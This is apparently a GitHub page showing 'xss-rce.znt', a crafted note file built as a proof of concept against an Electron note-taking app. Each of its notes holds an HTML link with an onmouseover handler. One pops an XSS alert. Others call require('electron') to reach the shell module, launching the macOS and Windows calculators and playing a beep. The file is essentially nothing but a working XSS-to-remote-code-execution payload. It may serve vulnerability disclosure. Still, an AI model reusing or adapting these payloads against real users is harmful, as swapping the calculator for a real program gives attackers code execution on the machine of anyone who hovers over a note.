-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathxss-rce.znt
More file actions
12 lines (8 loc) · 745 Bytes
/
Copy pathxss-rce.znt
File metadata and controls
12 lines (8 loc) · 745 Bytes
1
2
3
4
5
6
7
8
9
10
11
znt-note|0,15,264,213,200,0
<a onmouseover="try{ const {shell} = require('electron'); console.log({shell}); shell.openPath('/System/Applications/Calculator.app')}catch(e){alert(e)}">Remote Code Execution - Open MacOS Calculator</a>
znt-note|0,315,266,215,200,0
<a onmouseover="try{ const {shell} = require('electron'); shell.openExternal('file:C:/Windows/System32/calc.exe') }catch(e){alert(e)}">Remote Code Execution - Open Windows Calculator</a>
znt-note|0,12,1,200,200,0
<a onmouseover="alert('XSS!')">Hover to show XSS</a>
znt-note|0,324,2,200,200,0
<a onmouseover="try{ const {shell} = require('electron'); console.log({shell}); shell.beep()}catch(e){alert(e)}">Hover to show access to Electron shell module by playing a beep sound</a>